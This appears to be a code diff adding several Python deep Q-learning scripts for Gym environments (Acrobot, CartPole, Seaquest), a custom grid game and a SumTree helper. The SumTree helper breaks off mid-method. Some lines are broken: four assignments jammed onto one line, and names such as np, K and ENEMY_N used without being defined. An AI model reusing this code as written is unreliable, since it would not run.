+    def load(self, name):
+        self.model.load_weights(name)
+        self.target_model.load_weights(name)
+
+    def save(self, name):
+        self.model.save_weights(name)
+        self.target_model.save_weights(name)
+
+    
+if __name__ == "__main__":
+    env = gym.make("Acrobot-v1")
+    state_size = env.observation_space.shape[0]
+    action_size = env.action_space.n
+    agent = DQNAgent(state_size=state_size, action_size=action_size)
+    # agent.load("AcroBot_v1.h5")
+    done = False
+    batch_size = 32
+
+    all_rewards = deque(maxlen=SHOW_EVERY)
+    avg_rewards = []
+    
+    for e in range(EPISODES):
+        state = env.reset()
+        state = np.reshape(state, (1, state_size))
+        rewards = 0
+        while True:
+            action = agent.act(state)
+            # print(action)
+            next_state, reward, done, info = env.step(action)
+            # punish if not yet finished
+            # reward = reward if not done else 10
+            next_state = np.reshape(next_state, (1, state_size))
+            agent.remember(state, action, reward, next_state, done)
+            state = next_state
+            if done:
+                agent.update_target_model()
+                break
+            if e % RENDER_EVERY == 0:
+                env.render()
+            rewards += reward
+            # print(rewards)
+        all_rewards.append(rewards)
+        avg_reward = np.mean(all_rewards)
+        avg_rewards.append(avg_reward)
+        if e % SHOW_EVERY == 0:
+            print(f"[{e:4}] avg reward:{avg_reward:.3f} eps: {agent.epsilon:.2f}")
+        if len(agent.memory) > batch_size:
+            agent.replay(batch_size)
+            
+    agent.save("AcroBot_v1.h5")
+    plt.plot(list(range(EPISODES)), avg_rewards)
+    plt.show()
+
+
+
+
+import os
+# to use CPU uncomment below code
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=5,
+                        inter_op_parallelism_threads=5, 
+                        allow_soft_placement=True,
+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+import random
+import gym
+import numpy as np
+import matplotlib.pyplot as plt
+from collections import deque
+from keras.models import Sequential
+from keras.layers import Dense
+from keras.optimizers import Adam
+
+
+EPISODES = 1000
+REPLAY_MEMORY_MAX = 5000
+
+SHOW_EVERY = 100
+
+class DQNAgent:
+    def __init__(self, state_size, action_size):
+        self.state_size = state_size
+        self.action_size = action_size
+        self.memory = deque(maxlen=REPLAY_MEMORY_MAX)
+        # discount rate
+        self.gamma = 0.95
+        # exploration rate
+        self.epsilon = 1.0
+        self.epsilon_min = 0.01
+        self.epsilon_decay = 0.995
+        self.learning_rate = 0.001
+        # model to be built
+        self.model = None
+        self.build_model()
+
+    def build_model(self):
+        """Builds the DQN Model"""
+        # Neural network for Deep-Q Learning Model
+        model = Sequential()
+        model.add(Dense(24, input_dim=self.state_size, activation="relu"))
+        model.add(Dense(24, activation="relu"))
+        # output layer
+        model.add(Dense(self.action_size, activation="linear"))
+        model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate))
+        self.model = model
+
+    def remember(self, state, action, reward, next_state, done):
+        """Adds a sample to the memory"""
+        self.memory.append((state, action, reward, next_state, done))
+
+    def act(self, state):
+        """Takes action using Epsilon-Greedy Policy"""
+        if np.random.random() <= self.epsilon:
+            return random.randint(0, self.action_size-1)
+        else:
+            act_values = self.model.predict(state)
+            # print("act_values:", act_values.shape)
+            return np.argmax(act_values[0])
+
+    def replay(self, batch_size):
+        """Train on a replay memory with a batch_size of samples"""
+        minibatch = random.sample(self.memory, batch_size)
+        for state, action, reward, next_state, done in minibatch:
+            target = reward
+            if not done:
+                target = ( reward + self.gamma * np.max(self.model.predict(next_state)[0]) )
+            target_f = self.model.predict(state)
+            target_f[0][action] = target
+            self.model.fit(state, target_f, epochs=1, verbose=0)
+        # decay epsilon if possible
+        self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min)
+
+    def load(self, name):
+        self.model.load_weights(name)
+
+    def save(self, name):
+        self.model.save_weights(name)
+
+    
+if __name__ == "__main__":
+    env = gym.make("CartPole-v1")
+    state_size = env.observation_space.shape[0]
+    action_size = env.action_space.n
+    agent = DQNAgent(state_size=state_size, action_size=action_size)
+
+    done = False
+    batch_size = 32
+
+    scores = []
+    avg_scores = []
+    avg_score = 0
+    for e in range(EPISODES):
+        state = env.reset()
+        state = np.reshape(state, (1, state_size))
+        
+        for t in range(500):
+            action = agent.act(state)
+            # print(action)
+            next_state, reward, done, info = env.step(action)
+            # punish if not yet finished
+            reward = reward if not done else -10
+            next_state = np.reshape(next_state, (1, state_size))
+            agent.remember(state, action, reward, next_state, done)
+            state = next_state
+            if done:
+                print(f"[{e:4}] avg score:{avg_score:.3f} eps: {agent.epsilon:.2f}")
+                break
+            if e % SHOW_EVERY == 0:
+                env.render()
+        if len(agent.memory) > batch_size:
+            agent.replay(batch_size)
+        scores.append(t)
+        
+        avg_score = np.average(scores)
+        avg_scores.append(avg_score)
+            
+    agent.save("v1.h5")
+    plt.plot(list(range(EPISODES)), avg_scores)
+    plt.show()
+
+
+
+
+import numpy as np
+import keras.backend.tensorflow_backend as backend
+from keras.models import Sequential
+from keras.layers import Dense, Dropout, Conv2D, MaxPooling2D, Activation, Flatten, LSTM
+from keras.optimizers import Adam
+from keras.callbacks import TensorBoard
+import tensorflow as tf
+from collections import deque
+import time
+import random
+from tqdm import tqdm
+import os
+from PIL import Image
+import cv2
+import itertools
+
+
+DISCOUNT = 0.96
+REPLAY_MEMORY_SIZE = 50_000  # How many last steps to keep for model training
+MIN_REPLAY_MEMORY_SIZE = 1_000  # Minimum number of steps in a memory to start training
+MINIBATCH_SIZE = 32  # How many steps (samples) to use for training
+UPDATE_TARGET_EVERY = 5  # Terminal states (end of episodes)
+MODEL_NAME = '3x128-LSTM-7enemies-'
+MIN_REWARD = -200  # For model save
+MEMORY_FRACTION = 0.20
+
+# Environment settings
+EPISODES = 50_000
+
+# Exploration settings
+epsilon = 1.0  # not a constant, going to be decayed
+EPSILON_DECAY = 0.999771
+MIN_EPSILON = 0.01
+
+#  Stats settings
+AGGREGATE_STATS_EVERY = 100  # episodes
+SHOW_PREVIEW = False
+
+
+class Blob:
+    def __init__(self, size):
+        self.size = size
+        self.x = np.random.randint(0, size)
+        self.y = np.random.randint(0, size)
+
+    def __str__(self):
+        return f"Blob ({self.x}, {self.y})"
+
+    def __sub__(self, other):
+        return (self.x-other.x, self.y-other.y)
+
+    def __eq__(self, other):
+        return self.x == other.x and self.y == other.y
+
+    def action(self, choice):
+        '''
+        Gives us 9 total movement options. (0,1,2,3,4,5,6,7,8)
+        '''
+        if choice == 0:
+            self.move(x=1, y=0)
+        elif choice == 1:
+            self.move(x=-1, y=0)
+        elif choice == 2:
+            self.move(x=0, y=1)
+        elif choice == 3:
+            self.move(x=0, y=-1)
+
+
+    def move(self, x=False, y=False):
+
+        # If no value for x, move randomly
+        if x is False:
+            self.x += np.random.randint(-1, 2)
+        else:
+            self.x += x
+
+        # If no value for y, move randomly
+        if y is False:
+            self.y += np.random.randint(-1, 2)
+        else:
+            self.y += y
+
+        # If we are out of bounds, fix!
+        if self.x < 0:
+            self.x = 0
+        elif self.x > self.size-1:
+            self.x = self.size-1
+        if self.y < 0:
+            self.y = 0
+        elif self.y > self.size-1:
+            self.y = self.size-1
+
+
+class BlobEnv:
+    SIZE = 20
+    RETURN_IMAGES = False
+    MOVE_PENALTY = 1
+    ENEMY_PENALTY = 300
+    FOOD_REWARD = 25
+    # if RETURN_IMAGES:
+    #     OBSERVATION_SPACE_VALUES = (SIZE, SIZE, 3)  # 4
+    # else:
+    #     OBSERVATION_SPACE_VALUES = (4,)
+    ACTION_SPACE_SIZE = 4
+    PLAYER_N = 1  # player key in dict
+    FOOD_N = 2  # food key in dict
+    ENEMY_N = 3  # enemy key in dict
+    # the dict! (colors)
+    d = {1: (255, 175, 0),
+         2: (0, 255, 0),
+         3: (0, 0, 255)}
+
+    def __init__(self, n_enemies=7):
+        self.n_enemies = n_enemies
+        self.n_states = len(self.reset())
+
+    def reset(self):
+        self.enemies = []
+        self.player = Blob(self.SIZE)
+        self.food = Blob(self.SIZE)
+        while self.food == self.player:
+            self.food = Blob(self.SIZE)
+        for i in range(self.n_enemies):
+            enemy = Blob(self.SIZE)
+            while enemy == self.player or enemy == self.food:
+                enemy = Blob(self.SIZE)
+            self.enemies.append(enemy)
+
+        self.episode_step = 0
+
+        if self.RETURN_IMAGES:
+            observation = np.array(self.get_image())
+        else:
+            # all blob's coordinates
+            observation = [self.player.x, self.player.y, self.food.x, self.food.y] + list(itertools.chain(*[[e.x, e.y] for e in self.enemies]))
+        return observation
+
+    def step(self, action):
+        self.episode_step += 1
+        self.player.action(action)
+
+        #### MAYBE ###
+        #enemy.move()
+        #food.move()
+        ##############
+
+        if self.RETURN_IMAGES:
+            new_observation = np.array(self.get_image())
+        else:
+            new_observation = [self.player.x, self.player.y, self.food.x, self.food.y] + list(itertools.chain(*[[e.x, e.y] for e in self.enemies]))
+
+        # set the reward to move penalty by default
+        reward = -self.MOVE_PENALTY
+
+        if self.player == self.food:
+            # if the player hits the food, good reward
+            reward = self.FOOD_REWARD
+        else:
+            for enemy in self.enemies:
+                if enemy == self.player:
+                    # if the player hits one of the enemies, heavy punishment
+                    reward = -self.ENEMY_PENALTY
+                    break
+
+        done = False
+        if reward == self.FOOD_REWARD or reward == -self.ENEMY_PENALTY or self.episode_step >= 200:
+            done = True
+        return new_observation, reward, done
+
+    def render(self):
+        img = self.get_image()
+        img = img.resize((300, 300))  # resizing so we can see our agent in all its glory.
+        cv2.imshow("image", np.array(img))  # show it!
+        cv2.waitKey(1)
+
+    # FOR CNN #
+    def get_image(self):
+        env = np.zeros((self.SIZE, self.SIZE, 3), dtype=np.uint8)  # starts an rbg of our size
+        env[self.food.x][self.food.y] = self.d[self.FOOD_N]  # sets the food location tile to green color
+        for enemy in self.enemies:
+            env[enemy.x][enemy.y] = self.d[ENEMY_N]  # sets the enemy location to red
+        env[self.player.x][self.player.y] = self.d[self.PLAYER_N]  # sets the player tile to blue
+        img = Image.fromarray(env, 'RGB')  # reading to rgb. Apparently. Even tho color definitions are bgr. ???
+        return img
+
+
+env = BlobEnv()
+
+# For stats
+ep_rewards = [-200]
+
+# For more repetitive results
+random.seed(1)
+np.random.seed(1)
+tf.set_random_seed(1)
+
+# Memory fraction, used mostly when trai8ning multiple agents
+#gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=MEMORY_FRACTION)
+#backend.set_session(tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)))
+
+# Create models folder
+if not os.path.isdir('models'):
+    os.makedirs('models')
+
+
+# Own Tensorboard class
+class ModifiedTensorBoard(TensorBoard):
+
+    # Overriding init to set initial step and writer (we want one log file for all .fit() calls)
+    def __init__(self, **kwargs):
+        super().__init__(**kwargs)
+        self.step = 1
+        self.writer = tf.summary.FileWriter(self.log_dir)
+
+    # Overriding this method to stop creating default log writer
+    def set_model(self, model):
+        pass
+
+    # Overrided, saves logs with our step number
+    # (otherwise every .fit() will start writing from 0th step)
+    def on_epoch_end(self, epoch, logs=None):
+        self.update_stats(**logs)
+
+    # Overrided
+    # We train for one batch only, no need to save anything at epoch end
+    def on_batch_end(self, batch, logs=None):
+        pass
+
+    # Overrided, so won't close writer
+    def on_train_end(self, _):
+        pass
+
+    # Custom method for saving own metrics
+    # Creates writer, writes custom metrics and closes writer
+    def update_stats(self, **stats):
+        self._write_logs(stats, self.step)
+
+
+# Agent class
+class DQNAgent:
+    def __init__(self, state_in_image=True):
+
+        self.state_in_image = state_in_image
+
+        # Main model
+        self.model = self.create_model()
+
+        # Target network
+        self.target_model = self.create_model()
+        self.target_model.set_weights(self.model.get_weights())
+
+        # An array with last n steps for training
+        self.replay_memory = deque(maxlen=REPLAY_MEMORY_SIZE)
+
+        # Custom tensorboard object
+        self.tensorboard = ModifiedTensorBoard(log_dir="logs/{}-{}".format(MODEL_NAME, int(time.time())))
+
+        # Used to count when to update target network with main network's weights
+        self.target_update_counter = 0
+
+    def create_model(self):
+        # get the NN input length
+        model = Sequential()
+        if self.state_in_image:
+            model.add(Conv2D(256, (3, 3), input_shape=env.OBSERVATION_SPACE_VALUES))  # OBSERVATION_SPACE_VALUES = (10, 10, 3) a 10x10 RGB image.
+            model.add(Activation('relu'))
+            model.add(MaxPooling2D(pool_size=(2, 2)))
+            model.add(Dropout(0.2))
+
+            model.add(Conv2D(256, (3, 3)))
+            model.add(Activation('relu'))
+            model.add(MaxPooling2D(pool_size=(2, 2)))
+            model.add(Dropout(0.2))
+
+            model.add(Flatten())  # this converts our 3D feature maps to 1D feature vectors
+            model.add(Dense(32))
+        else:
+            # model.add(Dense(32, activation="relu", input_shape=(env.n_states,)))
+            # model.add(Dense(32, activation="relu"))
+            # model.add(Dropout(0.2))
+            # model.add(Dense(32, activation="relu"))
+            # model.add(Dropout(0.2))
+            model.add(LSTM(128, activation="relu", input_shape=(None, env.n_states,), return_sequences=True))
+            model.add(Dropout(0.3))
+            model.add(LSTM(128, activation="relu", return_sequences=True))
+            model.add(Dropout(0.3))
+            model.add(LSTM(128, activation="relu", return_sequences=False))
+            model.add(Dropout(0.3))
+
+        model.add(Dense(env.ACTION_SPACE_SIZE, activation='linear'))  # ACTION_SPACE_SIZE = how many choices (9)
+        model.compile(loss="mse", optimizer=Adam(lr=0.001), metrics=['accuracy'])
+        return model
+
+    # Adds step's data to a memory replay array
+    # (observation space, action, reward, new observation space, done)
+    def update_replay_memory(self, transition):
+        self.replay_memory.append(transition)
+
+    # Trains main network every step during episode
+    def train(self, terminal_state, step):
+
+        # Start training only if certain number of samples is already saved
+        if len(self.replay_memory) < MIN_REPLAY_MEMORY_SIZE:
+            return
+
+        # Get a minibatch of random samples from memory replay table
+        minibatch = random.sample(self.replay_memory, MINIBATCH_SIZE)
+
+        # Get current states from minibatch, then query NN model for Q values
+        if self.state_in_image:
+            current_states = np.array([transition[0] for transition in minibatch])/255
+        else:
+            current_states = np.array([transition[0] for transition in minibatch])
+        current_qs_list = self.model.predict(np.expand_dims(current_states, axis=1))
+
+        # Get future states from minibatch, then query NN model for Q values
+        # When using target network, query it, otherwise main network should be queried
+        if self.state_in_image:
+            new_current_states = np.array([transition[3] for transition in minibatch])/255
+        else:
+            new_current_states = np.array([transition[3] for transition in minibatch])
+        future_qs_list = self.target_model.predict(np.expand_dims(new_current_states, axis=1))
+
+        X = []
+        y = []
+
+        # Now we need to enumerate our batches
+        for index, (current_state, action, reward, new_current_state, done) in enumerate(minibatch):
+
+            # If not a terminal state, get new q from future states, otherwise set it to 0
+            # almost like with Q Learning, but we use just part of equation here
+            if not done:
+                max_future_q = np.max(future_qs_list[index])
+                new_q = reward + DISCOUNT * max_future_q
+            else:
+                new_q = reward
+
+            # Update Q value for given state
+            current_qs = current_qs_list[index]
+            current_qs[action] = new_q
+
+            # And append to our training data
+            X.append(current_state)
+            y.append(current_qs)
+
+        # Fit on all samples as one batch, log only on terminal state
+        if self.state_in_image:
+            self.model.fit(np.array(X)/255, np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None)
+        else:
+            # self.model.fit(np.array(X), np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None)
+            self.model.fit(np.expand_dims(X, axis=1), np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None)
+
+
+        # Update target network counter every episode
+        if terminal_state:
+            self.target_update_counter += 1
+
+        # If counter reaches set value, update target network with weights of main network
+        if self.target_update_counter > UPDATE_TARGET_EVERY:
+            self.target_model.set_weights(self.model.get_weights())
+            self.target_update_counter = 0
+
+    # Queries main network for Q values given current observation space (environment state)
+    def get_qs(self, state):
+        if self.state_in_image:
+            return self.model.predict(np.array(state).reshape(-1, *state.shape)/255)[0]
+        else:
+            # return self.model.predict(np.array(state).reshape(1, env.n_states))[0]
+            return self.model.predict(np.array(state).reshape(1, 1, env.n_states))[0]
+
+
+agent = DQNAgent(state_in_image=False)
+print("Number of states:", env.n_states)
+# agent.model.load_weights("models/2x32____22.00max___-2.44avg_-200.00min__1563463022.model")
+# Iterate over episodes
+for episode in tqdm(range(1, EPISODES + 1), ascii=True, unit='episodes'):
+
+    # Update tensorboard step every episode
+    agent.tensorboard.step = episode
+
+    # Restarting episode - reset episode reward and step number
+    episode_reward = 0
+    step = 1
+
+    # Reset environment and get initial state
+    current_state = env.reset()
+
+    # Reset flag and start iterating until episode ends
+    done = False
+    while not done:
+
+        # This part stays mostly the same, the change is to query a model for Q values
+        if np.random.random() > epsilon:
+            # Get action from Q table
+            action = np.argmax(agent.get_qs(current_state))
+        else:
+            # Get random action
+            action = np.random.randint(0, env.ACTION_SPACE_SIZE)
+
+        new_state, reward, done = env.step(action)
+
+        # Transform new continous state to new discrete state and count reward
+        episode_reward += reward
+
+        if SHOW_PREVIEW and not episode % AGGREGATE_STATS_EVERY:
+            env.render()
+
+        # Every step we update replay memory and train main network
+        agent.update_replay_memory((current_state, action, reward, new_state, done))
+        agent.train(done, step)
+
+        current_state = new_state
+        step += 1
+
+    # Append episode reward to a list and log stats (every given number of episodes)
+    ep_rewards.append(episode_reward)
+    if not episode % AGGREGATE_STATS_EVERY or episode == 1:
+        average_reward = sum(ep_rewards[-AGGREGATE_STATS_EVERY:])/len(ep_rewards[-AGGREGATE_STATS_EVERY:])
+        min_reward = min(ep_rewards[-AGGREGATE_STATS_EVERY:])
+        max_reward = max(ep_rewards[-AGGREGATE_STATS_EVERY:])
+        agent.tensorboard.update_stats(reward_avg=average_reward, reward_min=min_reward, reward_max=max_reward, epsilon=epsilon)
+
+        # Save model, but only when min reward is greater or equal a set value
+        if average_reward >= -220:
+            agent.model.save(f'models/{MODEL_NAME}__{max_reward:_>7.2f}max_{average_reward:_>7.2f}avg_{min_reward:_>7.2f}min__{int(time.time())}.model')
+
+    # Decay epsilon
+    if epsilon > MIN_EPSILON:
+        epsilon *= EPSILON_DECAY
+        epsilon = max(MIN_EPSILON, epsilon)
+    
+agent.model.save(f'models/{MODEL_NAME}__{max_reward:_>7.2f}max_{average_reward:_>7.2f}avg_{min_reward:_>7.2f}min__{int(time.time())}.model')
+
+
+
+
+# OpenGym Seaquest-v0
+# -------------------
+#
+# This code demonstrates a Double DQN network with Priority Experience Replay
+# in an OpenGym Seaquest-v0 environment.
+#
+# Made as part of blog series Let's make a DQN, available at: 
+# https://jaromiru.com/2016/11/07/lets-make-a-dqn-double-learning-and-prioritized-experience-replay/
+# 
+# author: Jaromir Janisch, 2016
+
+import matplotlib
+import random, numpy, math, gym, scipy
+import tensorflow as tf
+import time
+from SumTree import SumTree
+from keras.callbacks import TensorBoard
+from collections import deque
+import tqdm
+
+IMAGE_WIDTH = 84
+IMAGE_HEIGHT = 84
+IMAGE_STACK = 2
+
+HUBER_LOSS_DELTA = 2.0
+LEARNING_RATE = 0.00045
+
+
+#-------------------- Modified Tensorboard -----------------------
+class RLTensorBoard(TensorBoard):
+
+    def __init__(self, **kwargs):
+        """
+        Overriding init to set initial step and writer (one log file for multiple .fit() calls)
+        """
+        super().__init__(**kwargs)
+        self.step = 1
+        self.writer = tf.summary.FileWriter(self.log_dir)
+
+    def set_model(self, model):
+        """
+        Overriding this method to stop creating default log writer
+        """
+        pass
+
+    def on_epoch_end(self, epoch, logs=None):
+        """
+        Overrided, saves logs with our step number
+        (if this is not overrided, every .fit() call will start from 0th step)
+        """
+        self.update_stats(**logs)
+
+    def on_batch_end(self, batch, logs=None):
+        """
+        Overrided, we train for one batch only, no need to save anything on batch end
+        """
+        pass
+
+    def on_train_end(self, _):
+        """
+        Overrided, we don't close the writer
+        """
+        pass
+
+    def update_stats(self, **stats):
+        """
+        Custom method for saving own metrics
+        Creates writer, writes custom metrics and closes writer
+        """
+        self._write_logs(stats, self.step)
+
+#-------------------- UTILITIES -----------------------
+def huber_loss(y_true, y_pred):
+    err = y_true - y_pred
+
+    cond = K.abs(err) < HUBER_LOSS_DELTA
+    L2 = 0.5 * K.square(err)
+    L1 = HUBER_LOSS_DELTA * (K.abs(err) - 0.5 * HUBER_LOSS_DELTA)
+
+    loss = tf.where(cond, L2, L1)   # Keras does not cover where function in tensorflow :-(
+
+    return K.mean(loss)
+
+def processImage( img ):
+    rgb = scipy.misc.imresize(img, (IMAGE_WIDTH, IMAGE_HEIGHT), interp='bilinear')
+
+    r, g, b = rgb[:,:,0], rgb[:,:,1], rgb[:,:,2]
+    gray = 0.2989 * r + 0.5870 * g + 0.1140 * b     # extract luminance
+
+    o = gray.astype('float32') / 128 - 1    # normalize
+    return o
+
+#-------------------- BRAIN ---------------------------
+from keras.models import Sequential
+from keras.layers import *
+from keras.optimizers import *
+
+model_name = "conv2dx3"
+
+class Brain:
+    def __init__(self, stateCnt, actionCnt):
+        self.stateCnt = stateCnt
+        self.actionCnt = actionCnt
+
+        self.model = self._createModel()
+        self.model_ = self._createModel()  # target network
+        # custom tensorboard
+        self.tensorboard = RLTensorBoard(log_dir="logs/{}-{}".format(model_name, int(time.time())))
+
+    def _createModel(self):
+        model = Sequential()
+
+        model.add(Conv2D(32, (8, 8), strides=(4,4), activation='relu', input_shape=(self.stateCnt), data_format='channels_first'))
+        model.add(Conv2D(64, (4, 4), strides=(2,2), activation='relu'))
+        model.add(Conv2D(64, (3, 3), activation='relu'))
+        model.add(Flatten())
+        model.add(Dense(units=512, activation='relu'))
+
+        model.add(Dense(units=actionCnt, activation='linear'))
+
+        opt = RMSprop(lr=LEARNING_RATE)
+        model.compile(loss=huber_loss, optimizer=opt)
+
+        return model
+
+    def train(self, x, y, epochs=1, verbose=0):
+        self.model.fit(x, y, batch_size=32, epochs=epochs, verbose=verbose, callbacks=[self.tensorboard])
+
+    def predict(self, s, target=False):
+        if target:
+            return self.model_.predict(s)
+        else:
+            return self.model.predict(s)
+
+    def predictOne(self, s, target=False):
+        return self.predict(s.reshape(1, IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT), target).flatten()
+
+    def updateTargetModel(self):
+        self.model_.set_weights(self.model.get_weights())
+
+#-------------------- MEMORY --------------------------
+class Memory:   # stored as ( s, a, r, s_ ) in SumTree
+    e = 0.01
+    a = 0.6
+
+    def __init__(self, capacity):
+        self.tree = SumTree(capacity)
+
+    def _getPriority(self, error):
+        return (error + self.e) ** self.a
+
+    def add(self, error, sample):
+        p = self._getPriority(error)
+        self.tree.add(p, sample) 
+
+    def sample(self, n):
+        batch = []
+        segment = self.tree.total() / n
+
+        for i in range(n):
+            a = segment * i
+            b = segment * (i + 1)
+
+            s = random.uniform(a, b)
+            (idx, p, data) = self.tree.get(s)
+            batch.append( (idx, data) )
+
+        return batch
+
+    def update(self, idx, error):
+        p = self._getPriority(error)
+        self.tree.update(idx, p)
+
+#-------------------- AGENT ---------------------------
+MEMORY_CAPACITY = 50_000
+
+BATCH_SIZE = 32
+
+GAMMA = 0.95
+
+MAX_EPSILON = 1
+MIN_EPSILON = 0.05
+
+EXPLORATION_STOP = 500_000   # at this step epsilon will be 0.01
+LAMBDA = - math.log(0.01) / EXPLORATION_STOP  # speed of decay
+
+UPDATE_TARGET_FREQUENCY = 10_000
+UPDATE_STATS_EVERY = 5
+RENDER_EVERY = 50
+
+class Agent:
+    steps = 0
+    epsilon = MAX_EPSILON
+
+    def __init__(self, stateCnt, actionCnt, brain):
+        self.stateCnt = stateCnt
+        self.actionCnt = actionCnt
+
+        self.brain = brain
+        # self.memory = Memory(MEMORY_CAPACITY)
+        
+    def act(self, s):
+        if random.random() < self.epsilon:
+            return random.randint(0, self.actionCnt-1)
+        else:
+            return numpy.argmax(self.brain.predictOne(s))
+
+    def observe(self, sample):  # in (s, a, r, s_) format
+        x, y, errors = self._getTargets([(0, sample)])
+        self.memory.add(errors[0], sample)
+
+        if self.steps % UPDATE_TARGET_FREQUENCY == 0:
+            self.brain.updateTargetModel()
+
+        # slowly decrease Epsilon based on our eperience
+        self.steps += 1
+        self.epsilon = MIN_EPSILON + (MAX_EPSILON - MIN_EPSILON) * math.exp(-LAMBDA * self.steps)
+
+    def _getTargets(self, batch):
+        no_state = numpy.zeros(self.stateCnt)
+
+        states = numpy.array([ o[1][0] for o in batch ])
+        states_ = numpy.array([ (no_state if o[1][3] is None else o[1][3]) for o in batch ])
+
+        p = agent.brain.predict(states)
+
+        p_ = agent.brain.predict(states_, target=False)
+        pTarget_ = agent.brain.predict(states_, target=True)
+
+        x = numpy.zeros((len(batch), IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT))
+        y = numpy.zeros((len(batch), self.actionCnt))
+        errors = numpy.zeros(len(batch))
+        
+        for i in range(len(batch)):
+            o = batch[i][1]
+            s = o[0] a = o[1] r = o[2] s_ = o[3]
+            
+            t = p[i]
+            oldVal = t[a]
+            if s_ is None:
+                t[a] = r
+            else:
+                t[a] = r + GAMMA * pTarget_[i][ numpy.argmax(p_[i]) ]  # double DQN
+
+            x[i] = s
+            y[i] = t
+            errors[i] = abs(oldVal - t[a])
+
+        return (x, y, errors)
+
+    def replay(self):    
+        batch = self.memory.sample(BATCH_SIZE)
+        x, y, errors = self._getTargets(batch)
+
+        # update errors
+        for i in range(len(batch)):
+            idx = batch[i][0]
+            self.memory.update(idx, errors[i])
+
+        self.brain.train(x, y)
+
+class RandomAgent:
+    memory = Memory(MEMORY_CAPACITY)
+    exp = 0
+    epsilon = MAX_EPSILON
+
+    def __init__(self, actionCnt, brain):
+        self.actionCnt = actionCnt
+        self.brain = brain
+
+    def act(self, s):
+        return random.randint(0, self.actionCnt-1)
+
+    def observe(self, sample):  # in (s, a, r, s_) format
+        error = abs(sample[2])  # reward
+        self.memory.add(error, sample)
+        self.exp += 1
+
+    def replay(self):
+        pass
+
+#-------------------- ENVIRONMENT ---------------------
+class Environment:
+    def __init__(self, problem):
+        self.problem = problem
+        self.env = gym.make(problem)
+        self.ep_rewards = deque(maxlen=UPDATE_STATS_EVERY)
+
+    def run(self, agent, step):                
+        img = self.env.reset()
+        w = processImage(img)
+        s = numpy.array([w, w])
+        agent.brain.tensorboard.step = step
+        R = 0
+        while True:
+            if step % RENDER_EVERY == 0:
+                self.env.render()
+            a = agent.act(s)
+
+            img, r, done, info = self.env.step(a)
+            s_ = numpy.array([s[1], processImage(img)]) #last two screens
+
+            r = np.clip(r, -1, 1)   # clip reward to [-1, 1]
+
+            if done: # terminal state
+                s_ = None
+
+            agent.observe( (s, a, r, s_) )
+            agent.replay()            
+
+            s = s_
+            R += r
+
+            if done:
+                break
+
+        
+        self.ep_rewards.append(R)
+        avg_reward = sum(self.ep_rewards) / len(self.ep_rewards)
+        if step % UPDATE_STATS_EVERY == 0:
+            min_reward = min(self.ep_rewards)
+            max_reward = max(self.ep_rewards)
+            agent.brain.tensorboard.update_stats(reward_avg=avg_reward, reward_min=min_reward, reward_max=max_reward, epsilon=agent.epsilon)
+            agent.brain.model.save(f"models/{model_name}-avg-{avg_reward:.2f}-min-{min_reward:.2f}-max-{max_reward:2f}.h5")
+        # print("Total reward:", R)
+        return avg_reward
+
+#-------------------- MAIN ----------------------------
+PROBLEM = 'Seaquest-v0'
+env = Environment(PROBLEM)
+
+episodes = 2_000
+
+stateCnt  = (IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT)
+actionCnt = env.env.action_space.n
+
+brain = Brain(stateCnt, actionCnt)
+
+agent = Agent(stateCnt, actionCnt, brain)
+randomAgent = RandomAgent(actionCnt, brain)
+
+step = 0
+try:
+    print("Initialization with random agent...")
+    while randomAgent.exp < MEMORY_CAPACITY:
+        step += 1
+        env.run(randomAgent, step)
+        print(randomAgent.exp, "/", MEMORY_CAPACITY)
+
+    agent.memory = randomAgent.memory
+
+    randomAgent = None
+
+    print("Starting learning")
+    for i in tqdm.tqdm(list(range(step+1, episodes+step+1))):
+        env.run(agent, i)
+finally:
+    agent.brain.model.save("Seaquest-DQN-PER.h5")
+
+
+
+
+import numpy as np
+
+class SumTree:
+    """
+    This SumTree code is modified version of Morvan Zhou: 
+    https://github.com/MorvanZhou/Reinforcement-learning-with-tensorflow/blob/master/contents/5.2_Prioritized_Replay_DQN/RL_brain.py
+    """
+    data_pointer = 0
+    def __init__(self, length):
+        # number of leaf nodes (final nodes that contains experiences)
+        self.length = length
+
+        # generate the tree with all nodes' value = 0
+        # binary node (each node has max 2 children) so 2x size of leaf capacity - 1
+        # parent nodes = length - 1
+        # leaf nodes = length
+        self.tree = np.zeros(2*self.length - 1)
+        # contains the experiences
+        self.data = np.zeros(self.length, dtype=object)
+
+    def add(self, priority, data):
+        """
+        Add priority score in the sumtree leaf and add the experience in data
+        """
+        # look at what index we want to put the experience
+        tree_index = self.data_pointer + self.length - 1
+        
+        #tree:
+        #           0
+        #           / \
+        #          0   0
+        #         / \ / \
+       #tree_index  0 0  0  We fill the leaves from left to right
+
+        self.data[self.data_pointer] = data
+
+        # update the leaf
+        self.update(tree_index, priority)
+
+        # increment data pointer
+        self.data_pointer += 1
+
+        # if we're above the capacity, we go back to the first index
+        if self.data_pointer >= self.length:
+            self.data_pointer = 0
+
+
+    def update(self, tree_index, priority):
+        """
+        Update the leaf priority score and propagate the change through the tree
+        """
+
+        # change = new priority score - former priority score
+        change = priority - self.tree[tree_index]
+        self.tree[tree_index] = priority
+
+        while tree_index != 0:    # this method is faster than the recursive loop in the reference code
+            
+            """
+            Here we want to access the line above
+            THE NUMBERS IN THIS TREE ARE THE INDEXES NOT THE PRIORITY VALUES
+            
+                0
+               / \
+              1   2
+             / \ / \
+            3  4 5  [6] 
+            
+            If we are in leaf at index 6, we updated the priority score
+            We need then to update index 2 node
+            So tree_index = (tree_index - 1) // 2
+            tree_index = (6-1)//2
+            tree_index = 2 (because // round the result)
+            """
+            tree_index = (tree_index - 1) // 2
